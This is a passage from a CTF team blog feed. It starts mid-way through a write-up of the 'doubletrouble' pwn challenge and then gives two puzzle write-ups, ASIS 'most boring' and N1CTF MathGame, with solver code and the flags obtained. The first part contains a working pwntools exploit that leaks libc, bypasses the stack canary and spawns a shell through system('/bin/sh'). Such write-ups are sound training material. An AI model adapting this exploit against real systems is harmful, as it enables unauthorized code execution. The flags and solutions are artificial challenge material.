<p>With <code>how_long</code> greater than 64 the sortArray procedure will sort our input and the values that are on the stack after the array, like the canary and the return address.</p>
<p>The binary addresses casted to double are sorted after -1.1.</p>
<p>To exploit the vulnerability we need to place the canary in the same position before and after the sorting so it must start with 0x00b.
Due to this requirement the exploit must be runned many times to work.</p>
<p>Here the exploit:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6c7986">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>LIBC_NAME = <span style="color:#fc6a5d">&#34;./libc6_2.27-3ubuntu1_i386.so&#34;</span> <span style="color:#6c7986"># found on libc database using system (0x200)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">pdouble</span>(f):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> struct.pack(<span style="color:#fc6a5d">&#39;&lt;d&#39;</span>, f)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">double_to_hex</span>(f):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#d0a8ff">hex</span>(struct.unpack(<span style="color:#fc6a5d">&#39;&lt;Q&#39;</span>, struct.pack(<span style="color:#fc6a5d">&#39;&lt;d&#39;</span>, f))[<span style="color:#d0bf69">0</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">int_to_double</span>(i):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> struct.unpack(<span style="color:#fc6a5d">&#39;&lt;d&#39;</span>, p64(i))[<span style="color:#d0bf69">0</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">hex_to_double</span>(h):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> struct.unpack(<span style="color:#fc6a5d">&#39;&lt;d&#39;</span>, h.decode(<span style="color:#fc6a5d">&#34;hex&#34;</span>)[::-<span style="color:#d0bf69">1</span>])[<span style="color:#d0bf69">0</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>libc = ELF(LIBC_NAME)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">#p = process(&#34;./doubletrouble&#34;, env={&#34;LD_PRELOAD&#34;: LIBC_NAME})</span>
</span></span><span style="display:flex;"><span>    p = remote(<span style="color:#fc6a5d">&#34;pwn.chal.csaw.io&#34;</span>, <span style="color:#d0bf69">9002</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">### STAGE 1 - leak libc a restart main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        stack = <span style="color:#d0a8ff">int</span>(p.recvline(<span style="color:#fc5fa3">False</span>), <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        l = <span style="color:#d0bf69">64</span>
</span></span><span style="display:flex;"><span>        p.sendafter(<span style="color:#fc6a5d">&#34;How long: &#34;</span>, <span style="color:#d0a8ff">str</span>(l) + <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        p.sendafter(<span style="color:#fc6a5d">&#34;Give me: &#34;</span>, <span style="color:#d0a8ff">repr</span>(int_to_double(<span style="color:#d0bf69">0x8049506FFE26D6C</span>)) + <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>) <span style="color:#6c7986">#main = 0x8049506</span>
</span></span><span style="display:flex;"><span>        p.sendafter(<span style="color:#fc6a5d">&#34;Give me: &#34;</span>, <span style="color:#d0a8ff">repr</span>(int_to_double(<span style="color:#d0bf69">0x8049506FFE26D6C</span>)) + <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> i in xrange(<span style="color:#d0bf69">3</span>):
</span></span><span style="display:flex;"><span>            p.sendafter(<span style="color:#fc6a5d">&#34;Give me: &#34;</span>, <span style="color:#fc6a5d">&#34;-1.1</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> i in xrange(l -<span style="color:#d0bf69">5</span>):
</span></span><span style="display:flex;"><span>            p.sendafter(<span style="color:#fc6a5d">&#34;Give me: &#34;</span>, <span style="color:#fc6a5d">&#34;-20.1</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        p.recvuntil(<span style="color:#fc6a5d">&#34;Sorted Array:&#34;</span>)
</span></span><span style="display:flex;"><span>        p.recvuntil(<span style="color:#fc6a5d">&#34;0:&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        off = <span style="color:#d0bf69">0xf7f8bfff</span> - <span style="color:#d0bf69">0xF7DB4000</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        libc.address = u32(pdouble(<span style="color:#d0a8ff">float</span>(p.recvline(<span style="color:#fc5fa3">False</span>)))[<span style="color:#d0bf69">4</span>:]) - off
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> libc.address &amp; <span style="color:#d0bf69">1</span> == <span style="color:#d0bf69">1</span>:
</span></span><span style="display:flex;"><span>            libc.address -= <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;LIBC: &#34;</span>, <span style="color:#d0a8ff">hex</span>(libc.address), <span style="color:#d0a8ff">hex</span>(libc.symbols[<span style="color:#fc6a5d">&#34;system&#34;</span>])[<span style="color:#d0bf69">2</span>:]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        p.recvuntil(<span style="color:#fc6a5d">&#34;68:&#34;</span>) + p.recvline(<span style="color:#fc5fa3">False</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">### STAGE 2 - execute system(&#34;/bin/sh&#34;)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        stack = <span style="color:#d0a8ff">int</span>(p.recvline(<span style="color:#fc5fa3">False</span>), <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        l = <span style="color:#d0bf69">64</span>
</span></span><span style="display:flex;"><span>        p.sendafter(<span style="color:#fc6a5d">&#34;How long: &#34;</span>, <span style="color:#d0a8ff">str</span>(l) + <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        v = hex_to_double((<span style="color:#fc6a5d">&#34;0804900a0804900a&#34;</span>)) <span style="color:#6c7986">#0x0804900a : ret</span>
</span></span><span style="display:flex;"><span>        p.sendafter(<span style="color:#fc6a5d">&#34;Give me: &#34;</span>, <span style="color:#d0a8ff">repr</span>(v) + <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        v = hex_to_double(<span style="color:#fc6a5d">&#34;0804A0D5&#34;</span> + <span style="color:#d0a8ff">hex</span>(libc.symbols[<span style="color:#fc6a5d">&#34;system&#34;</span>])[<span style="color:#d0bf69">2</span>:])
</span></span><span style="display:flex;"><span>        p.sendafter(<span style="color:#fc6a5d">&#34;Give me: &#34;</span>, <span style="color:#d0a8ff">repr</span>(v) + <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        bin_sh = libc.address + <span style="color:#d0bf69">0x17e0cf</span>
</span></span><span style="display:flex;"><span>        v = hex_to_double((<span style="color:#fc6a5d">&#34;09049786&#34;</span> + <span style="color:#d0a8ff">hex</span>(bin_sh)[<span style="color:#d0bf69">2</span>:]))
</span></span><span style="display:flex;"><span>        p.sendafter(<span style="color:#fc6a5d">&#34;Give me: &#34;</span>, <span style="color:#d0a8ff">repr</span>(v) + <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> i in xrange(<span style="color:#d0bf69">2</span>):
</span></span><span style="display:flex;"><span>            p.sendafter(<span style="color:#fc6a5d">&#34;Give me: &#34;</span>, <span style="color:#fc6a5d">&#34;-1.1</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> i in xrange(l -<span style="color:#d0bf69">5</span>):
</span></span><span style="display:flex;"><span>            p.sendafter(<span style="color:#fc6a5d">&#34;Give me: &#34;</span>, <span style="color:#fc6a5d">&#34;-20.1</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        p.recvuntil(<span style="color:#fc6a5d">&#34;Sorted Array:&#34;</span>)
</span></span><span style="display:flex;"><span>        p.recvuntil(<span style="color:#fc6a5d">&#34;0:&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        p.interactive()
</span></span><span style="display:flex;"><span>        p.close()
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">except</span> KeyboardInterrupt:
</span></span><span style="display:flex;"><span>        p.close()
</span></span><span style="display:flex;"><span>        exit()
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">except</span> Exception:
</span></span><span style="display:flex;"><span>        p.close()
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">continue</span>
</span></span></code></pre></div>]]></content></item><item><title>The most boring</title><link>https://theromanxpl0.it/posts/2018/04/the-most-boring/</link><pubDate>Mon, 30 Apr 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/04/the-most-boring/</guid><description>&lt;pre>
*******************************************************************************
| hi all, welcome to the most Boring task, but I think its interesting for all|
| Think about a rotating drum, each of the segments is of one of three types, |
| such that any k consecutive segments uniquely determine the position of the |
| drum, example: for k = 3, the circular sequence 111220120210110200100022212 |
| has desired property. In each stage, send us three distinct sequences with |
| given k, and get the valuable flag :)) |
*******************************************************************************
&lt;/pre>
&lt;p>Easy, right? Probably the hardest part was understanding the question. While it doesn&amp;rsquo;t say it explicitly, the sequences needed to contain all possible subsequences of length &lt;code>k&lt;/code>. This means that they had to be &lt;a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence">de Bruijn sequences&lt;/a>. Luckily the Wikipedia page also contains python code to generate those sequences, so by just writing a small wrapper around it I got to the flag.
The only missing part was how to generate three different sequences, but it was enough to swap che characters around for them to be different (e.g. &lt;code>001122&lt;/code> -&amp;gt; &lt;code>110022&lt;/code>)&lt;/p></description><content type="html"><![CDATA[<pre>
*******************************************************************************
| hi all, welcome to the most Boring task, but I think its interesting for all|
| Think about a rotating drum, each of the segments is of one of three types, |
| such that any k consecutive segments uniquely determine the position of the |
| drum, example: for k = 3, the circular sequence 111220120210110200100022212 |
| has desired property. In each stage, send us three distinct sequences with  |
| given k, and get the valuable flag :))                                      |
*******************************************************************************
</pre>
<p>Easy, right? Probably the hardest part was understanding the question. While it doesn&rsquo;t say it explicitly, the sequences needed to contain all possible subsequences of length <code>k</code>. This means that they had to be <a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence">de Bruijn sequences</a>. Luckily the Wikipedia page also contains python code to generate those sequences, so by just writing a small wrapper around it I got to the flag.
The only missing part was how to generate three different sequences, but it was enough to swap che characters around for them to be different (e.g. <code>001122</code> -&gt; <code>110022</code>)</p>
<hr>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> itertools, hashlib, sys
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">bruijn</span>(k, n):
</span></span><span style="display:flex;"><span>	alphabet = <span style="color:#d0a8ff">list</span>(<span style="color:#d0a8ff">map</span>(<span style="color:#d0a8ff">str</span>, <span style="color:#d0a8ff">range</span>(k)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	a = [<span style="color:#d0bf69">0</span>] * k * n
</span></span><span style="display:flex;"><span>	sequence = []
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">db</span>(t, p):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> t &gt; n:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> n % p == <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>				sequence.extend(a[<span style="color:#d0bf69">1</span>:p + <span style="color:#d0bf69">1</span>])
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>			a[t] = a[t - p]
</span></span><span style="display:flex;"><span>			db(t + <span style="color:#d0bf69">1</span>, p)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(a[t - p] + <span style="color:#d0bf69">1</span>, k):
</span></span><span style="display:flex;"><span>				a[t] = j
</span></span><span style="display:flex;"><span>				db(t + <span style="color:#d0bf69">1</span>, t)
</span></span><span style="display:flex;"><span>	db(<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">&#34;&#34;</span>.join(alphabet[i] <span style="color:#fc5fa3">for</span> i in sequence)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">captcha</span>(target):
</span></span><span style="display:flex;"><span>	target = target.strip().split(<span style="color:#fc6a5d">&#39; &#39;</span>)[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;[+] Solving captcha for&#39;</span>, target
</span></span><span style="display:flex;"><span>	alpha = <span style="color:#fc6a5d">&#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> a,b,c,d,e in itertools.product(alpha, repeat=<span style="color:#d0bf69">5</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> hashlib.sha256(a+b+c+d+e).hexdigest()[-<span style="color:#d0bf69">6</span>:] == target:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">return</span> a+b+c+d+e
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;[!] Captcha unsolved&#34;</span>
</span></span><span style="display:flex;"><span>	quit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">solve</span>(line, r):
</span></span><span style="display:flex;"><span>	k = <span style="color:#d0a8ff">int</span>(line.strip().split(<span style="color:#fc6a5d">&#39; &#39;</span>)[-<span style="color:#d0bf69">1</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;[+] Solving for k =&#39;</span>, k
</span></span><span style="display:flex;"><span>	sol = bruijn(<span style="color:#d0bf69">3</span>, k)
</span></span><span style="display:flex;"><span>	r.recvuntil(<span style="color:#fc6a5d">&#39;first sequence:&#39;</span>)
</span></span><span style="display:flex;"><span>	r.sendline(sol)
</span></span><span style="display:flex;"><span>	r.recvuntil(<span style="color:#fc6a5d">&#39;second sequence:&#39;</span>)
</span></span><span style="display:flex;"><span>	sol = sol.replace(<span style="color:#fc6a5d">&#39;0&#39;</span>, <span style="color:#fc6a5d">&#39;a&#39;</span>).replace(<span style="color:#fc6a5d">&#39;1&#39;</span>, <span style="color:#fc6a5d">&#39;0&#39;</span>).replace(<span style="color:#fc6a5d">&#39;a&#39;</span>, <span style="color:#fc6a5d">&#39;1&#39;</span>)
</span></span><span style="display:flex;"><span>	r.sendline(sol)
</span></span><span style="display:flex;"><span>	r.recvuntil(<span style="color:#fc6a5d">&#39;third sequence:&#39;</span>)
</span></span><span style="display:flex;"><span>	sol = sol.replace(<span style="color:#fc6a5d">&#39;0&#39;</span>, <span style="color:#fc6a5d">&#39;a&#39;</span>).replace(<span style="color:#fc6a5d">&#39;2&#39;</span>, <span style="color:#fc6a5d">&#39;0&#39;</span>).replace(<span style="color:#fc6a5d">&#39;a&#39;</span>, <span style="color:#fc6a5d">&#39;2&#39;</span>)
</span></span><span style="display:flex;"><span>	r.sendline(sol)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r = remote(<span style="color:#fc6a5d">&#39;37.139.22.174&#39;</span>, <span style="color:#d0bf69">56653</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>s = r.readline()
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> not s.startswith(<span style="color:#fc6a5d">&#39;Submit&#39;</span>):
</span></span><span style="display:flex;"><span>	s = r.readline()
</span></span><span style="display:flex;"><span>r.sendline(captcha(s))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>	s = r.readline()
</span></span><span style="display:flex;"><span>	solve(s, r)
</span></span><span style="display:flex;"><span>	s = r.readline()
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">while</span> <span style="color:#d0a8ff">len</span>(s.strip()) == <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>		s = r.readline()
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">&#39;ASIS&#39;</span> in s:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span> s
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">break</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>(pwn) dario@PC:~/desktop/ctf/asisquals2018/boring$ python t.py
</span></span><span style="display:flex;"><span>[+] Opening connection to 37.139.22.174 on port 56653: Done
</span></span><span style="display:flex;"><span>[+] Solving captcha <span style="color:#fc5fa3">for</span> c18349
</span></span><span style="display:flex;"><span>[+] Solving <span style="color:#fc5fa3">for</span> <span style="color:#41a1c0">k</span> = <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>[+] Solving <span style="color:#fc5fa3">for</span> <span style="color:#41a1c0">k</span> = <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span>[+] Solving <span style="color:#fc5fa3">for</span> <span style="color:#41a1c0">k</span> = <span style="color:#d0bf69">5</span>
</span></span><span style="display:flex;"><span>[+] Solving <span style="color:#fc5fa3">for</span> <span style="color:#41a1c0">k</span> = <span style="color:#d0bf69">6</span>
</span></span><span style="display:flex;"><span>[+] Solving <span style="color:#fc5fa3">for</span> <span style="color:#41a1c0">k</span> = <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span>[+] Solving <span style="color:#fc5fa3">for</span> <span style="color:#41a1c0">k</span> = <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>[+] Solving <span style="color:#fc5fa3">for</span> <span style="color:#41a1c0">k</span> = <span style="color:#d0bf69">9</span>
</span></span><span style="display:flex;"><span>Congratz! :) You got the flag: ASIS{67f99742bdf354228572fca52012287c}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[*] Closed connection to 37.139.22.174 port <span style="color:#d0bf69">56653</span>
</span></span></code></pre></div>]]></content></item><item><title>N1CTF 2018 - MathGame</title><link>https://theromanxpl0.it/posts/2018/03/n1ctf-2018-mathgame/</link><pubDate>Mon, 12 Mar 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/03/n1ctf-2018-mathgame/</guid><description>&lt;blockquote>
&lt;p>Game rules:&lt;/p>
&lt;p>A 7*7*7 cube consists of 343 cubes, These are 218 cubic cells in the surface, and 125 cubic cells in the internal.&lt;/p>
&lt;p>We put numbers in 218 cubes, of which seven cubes number have different attributes than others (for example, odd and even, prime and non-prime).&lt;/p>
&lt;p>Connect these seven cubes to form 21 straight lines. Only two of these 21 straight lines are perpendicular and go through the same internal cube.&lt;/p></description><content type="html"><![CDATA[<blockquote>
<p>Game rules:</p>
<p>A 7*7*7 cube consists of 343 cubes, These are 218 cubic cells in the surface, and 125 cubic cells in the internal.</p>
<p>We put numbers in 218 cubes, of which seven cubes number have different attributes than others (for example, odd and even, prime and non-prime).</p>
<p>Connect these seven cubes to form 21 straight lines. Only two of these 21 straight lines are perpendicular and go through the same internal cube.</p>
<p>Please give the coordinates of this internal cube. If you answer 5 Question, you will get the flag.</p></blockquote>
<p>Basically, we&rsquo;re given the six faces of the cube as 7*7 grids from which we have to reconstruct the cube, find the seven &ldquo;different&rdquo; numbers, connect them, find two perpendicular lines which go through the same internal cube and return its coordinates.</p>
<p>This would seem like an easy ppc challenge: read the numbers, build the cube, find a few lines and give back the solution. Right? Hell, no. While <em>theoretically</em> it&rsquo;s easy, we had many roadblocks in front of us to step over before finally reaching our flag.</p>
<p>At first there was a bug in the challenge itself that meant that the faces given weren&rsquo;t consistent with one another. Fine, go to sleep and wake up the next morning while the organizers fix it. After building the cube we implemented some checks (even/odd and prime/not prime were the first ones) and went on to finding the perpendicular lines. While it may seem complicated, it&rsquo;s actually pretty easy with some analytical geometry. Basically, a line in 3D space can be described with the following equation:</p>
$$\frac{x-x_a}{l} = \frac{y-y_a}{m} = \frac{z-z_a}{n}$$$$l = x_b-x_a, m = y_b-y_a, n = z_b - z_a$$<p>where $(x_a,y_a)$ and $(x_b,y_b)$ are the start and end points of the segment.</p>
<p>Two lines are perpendicular if and only if $l\cdot l&rsquo;+m\cdot m&rsquo; + n\cdot n&rsquo; = 0$. If you&rsquo;re like me, you&rsquo;re probably staring at those equations and wondering why they work - let&rsquo;s just say they do.</p>
<p>The other geometry task we have is finding which cubes a given segment goes through. I did it the simple way, by evaluating the segment at various points and rounding the coordinates to the nearest integer. Let&rsquo;s see the code, shall we?</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6c7986"># Segment between a and b</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">class</span> <span style="color:#5dd8ff">Line</span>:
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">__init__</span>(<span style="color:#a167e6">self</span>, a, b):
</span></span><span style="display:flex;"><span>		<span style="color:#a167e6">self</span>.l, <span style="color:#a167e6">self</span>.m, <span style="color:#a167e6">self</span>.n = b[<span style="color:#d0bf69">0</span>] - a[<span style="color:#d0bf69">0</span>], b[<span style="color:#d0bf69">1</span>] - a[<span style="color:#d0bf69">1</span>], b[<span style="color:#d0bf69">2</span>] - a[<span style="color:#d0bf69">2</span>]
</span></span><span style="display:flex;"><span>		<span style="color:#a167e6">self</span>.a, <span style="color:#a167e6">self</span>.b = a, b
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">perpendicular</span>(<span style="color:#a167e6">self</span>, b):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> <span style="color:#a167e6">self</span>.l * b.l + <span style="color:#a167e6">self</span>.m * b.m + <span style="color:#a167e6">self</span>.n * b.n == <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">points</span>(<span style="color:#a167e6">self</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986"># Just go into parametric form and evaluate. It&#39;s ugly but it kinda works</span>
</span></span><span style="display:flex;"><span>		out = <span style="color:#d0a8ff">set</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> t in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">10001</span>):
</span></span><span style="display:flex;"><span>			x = <span style="color:#d0a8ff">int</span>(<span style="color:#d0a8ff">round</span>(<span style="color:#a167e6">self</span>.a[<span style="color:#d0bf69">0</span>] + t * <span style="color:#a167e6">self</span>.l / <span style="color:#d0bf69">10000.0</span>))
</span></span><span style="display:flex;"><span>			y = <span style="color:#d0a8ff">int</span>(<span style="color:#d0a8ff">round</span>(<span style="color:#a167e6">self</span>.a[<span style="color:#d0bf69">1</span>] + t * <span style="color:#a167e6">self</span>.m / <span style="color:#d0bf69">10000.0</span>))
</span></span><span style="display:flex;"><span>			z = <span style="color:#d0a8ff">int</span>(<span style="color:#d0a8ff">round</span>(<span style="color:#a167e6">self</span>.a[<span style="color:#d0bf69">2</span>] + t * <span style="color:#a167e6">self</span>.n / <span style="color:#d0bf69">10000.0</span>))
</span></span><span style="display:flex;"><span>			out.add((x,y,z))
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> out
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">__repr__</span>(<span style="color:#a167e6">self</span>):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> <span style="color:#d0a8ff">str</span>(<span style="color:#a167e6">self</span>.a) + <span style="color:#fc6a5d">&#39; -&gt; &#39;</span> + <span style="color:#d0a8ff">str</span>(<span style="color:#a167e6">self</span>.b)
</span></span></code></pre></div><p>It was at this point that we encountered another roadblock: the code didn&rsquo;t work all the time - in fact, it often gave multiple solutions or none at all. But frankly I was tired and went forward nonetheless.</p>
<p>The main part was now done, all that remained was finding the characteristics we needed to select the seven numbers. Even/odd and prime/nonprime were already in place and managed to solve the first four levels of the challenge, while the fifth took us a bit more time. We tried a lot of possibilities and in the end the one that worked was based on the size of the prime factors of the numbers. More specifically, the seven numers had &ldquo;small&rdquo; factors - less than 10000, while the others only had bigger factors.</p>
<p>The code was now complete but it would still often fail, so I just left it in a bash loop running in the background. After a few minutes, it stopped and finally gave us the flag: <code>N1CTF{This_1s_a_1j_Math_Game4!}</code></p>
<p>As you may have noticed, I&rsquo;ve written this article in plural: while in the end it was my code to get the flag, this challenge only got solved because a few of us worked on it. Code, as usual:</p>
<hr>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6c7986">#!/usr/bin/python</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># -*- coding: utf-8 -*-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> math <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> collections <span style="color:#fc5fa3">import</span> defaultdict
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> random, string, hashlib, sys
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> sympy, numpy
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">captcha</span>():
</span></span><span style="display:flex;"><span>	line = r.readline()
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">while</span> <span style="color:#d0a8ff">len</span>(line.strip()) == <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>		line = r.readline().strip()
</span></span><span style="display:flex;"><span>	base, target = line.split(<span style="color:#fc6a5d">&#39;&#34;&#39;</span>)[<span style="color:#d0bf69">1</span>::<span style="color:#d0bf69">2</span>]
